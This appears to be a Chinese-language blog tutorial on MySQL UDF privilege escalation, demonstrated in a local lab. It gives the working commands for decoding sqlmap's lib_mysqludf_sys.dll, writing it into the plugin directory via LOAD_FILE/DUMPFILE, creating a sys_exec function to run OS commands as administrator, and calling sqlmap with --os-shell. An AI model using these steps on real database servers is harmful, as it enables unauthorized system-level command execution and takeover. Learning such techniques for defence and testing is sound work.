发布时间:2023-05-04 12:00
前言:
udf提权是通过数据库来实现获取目标的管理员的shell,来达到从低权限提权到高权限
什么是UDF:
udf(Userdefined function)是用户自定义函数
在mysql中函数是什么,比如mysql中常见的sleep(),sum(),ascii()等都是函数
udf就是为了让我们开发者能够自己写方便自己函数,它有3种返回值,这三种分别是STRING,INTEGER,REALSTRING 字符型
INTEGER 整型
REAL 实数型
提权的前提:mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的libplugin文件夹下
mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:windowssystem32目录,在windows server - - 2000下放置在c:winntsystem32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
版本大于5.1的udf.dll放到mysql安装目录的libplugin文件夹才能创建自定义函数。目录默认是不存在的需要自己创建,在安装目录下创建libplugin文件夹,然后将udf.dll导出到这个目录。
windows下MySQL提权:
首先、查看一下MySQL是32位的还是64位的,查看这个有几种方式:mysql -V
mysql --version
进入MySQL数据库中,执行: show variables like \'%version_%\';
我这里使用PHPstudy建立的MySQL数据库来演示
可以看到我这里的数据库是32位的,那么一会我们先使用sqlmap自带的udf.dll来进行提权
查看数据库版本,方法如下:select version() from dual; //使用SQL语句查询
使用mysql -u -p的方式连接数据库后通过登录信息可以看到数据库版本
使用mysql -u -p的方式连接数据库后执行 status 或者 s 也可以看到数据库版本
通过查看我这里的MySQL版本是5.5.53,是个高版本MySQL数据库
然后我们接下来看看MySQL的文件导出功能有没有开启,这里使用的查看语句是:SHOW VARIABLES LIKE \"secure_file_priv\";
发现文件导出功能是关闭的,这个时候我们就需要想办法修改my.ini这个文件的配置,使 \"secure_file_priv=\"有这个参数
接下来、获取插件路径:select @@basedir;
select @@plugin_dir;
show variables like \'%plugins%\';
然后我们将udf.dll文件导入到MySQL插件目录中
找到本地sqlmap中的udf.dll文件,选择Windows及MySQL32位的,进行上传导入,这里需要注意的是sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py。python cloak.py -d -i /usr/local/Cellar/sqlmap/1.2.11/libexec/udf/mysql/windows/32/lib_mysqludf_sys.dll_
解码后上传发现报错,这里的原因是由于MySQL安装在了C盘,没有权限写入SELECT LOAD_FILE(\'/usr/local/Cellar/sqlmap/1.2.11/libexec/udf/mysql/windows/32/lib_mysqludf_sys.dll\') into DUMPFILE \'C:\\\\phpStudy\\\\PHPTutorial\\\\MySQL\\\\lib\\\\plugin\\\\udf.dll\';
所以在Windows系统下如果MySQL在C盘的话,基本上就可以略过UDF提权的办法了
接下来我将数据库装到别的盘进行尝试,我这里装到了E盘
可以看到,依然无法导入,这里的原因是由于MySQL的lib下没有plugin这个目录导致的
该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录。
为了方便测试,我这里直接新建一个然后将dll导入到plugin里,导入方法不限,只要你想办法弄进去就行
导入成功,接着就可以使用上传上去的这个dll文件创建一个函数CREATE FUNCTION sys_exec RETURNS STRING SONAME \'udf.dll\';
执行系统命令,因为我MySQL连接工具执行的没有回显,所以这里弹一个计算器演示,这时,我们的权限就已经是系统管理员的权限了select sys_exec(\'calc\');
成功弹出计算器,那么这个时候我们就可以添加用户,等等之类的。
下面在介绍另外一种方法,就是直接使用sqlmap自动提权,当然前提是要满足上面说的条件后才可以,我这里就直接演示sqlmap -d \"mysql://root:root@192.168.10.113:3306/test\" --os-shell
可以看到,已经是管理员权限。
上面说的我的MySQL版本是5.5.53,也就是MySQL的高版本,当然,用提权专用的webshell也是可以的,如下图
至于MySQL版本小于5.1的,就特别轻松了,还是上面的思路,但是比上面的简单,这里就不再赘述。
Linux下MySQL提权:
其实Linux下提权与Windows下的套路相同,不过就是有一些注意的点是上面和Windows一样,用cloak.py解码so文件,然后进行上传,其他基本一样。
当然UDF的提权不仅仅只是这一种方法,还有提取文件的十六进制生成新的16进制等等,这里不再赘述。
总结:通过select @@basedir; //查看安装目录,必须不能在C盘
通过show variables like ‘%secure%’; //查看参数当前状态,为空,不能为NULL
如果不能满足上面这两条,成功提权的几率就很小了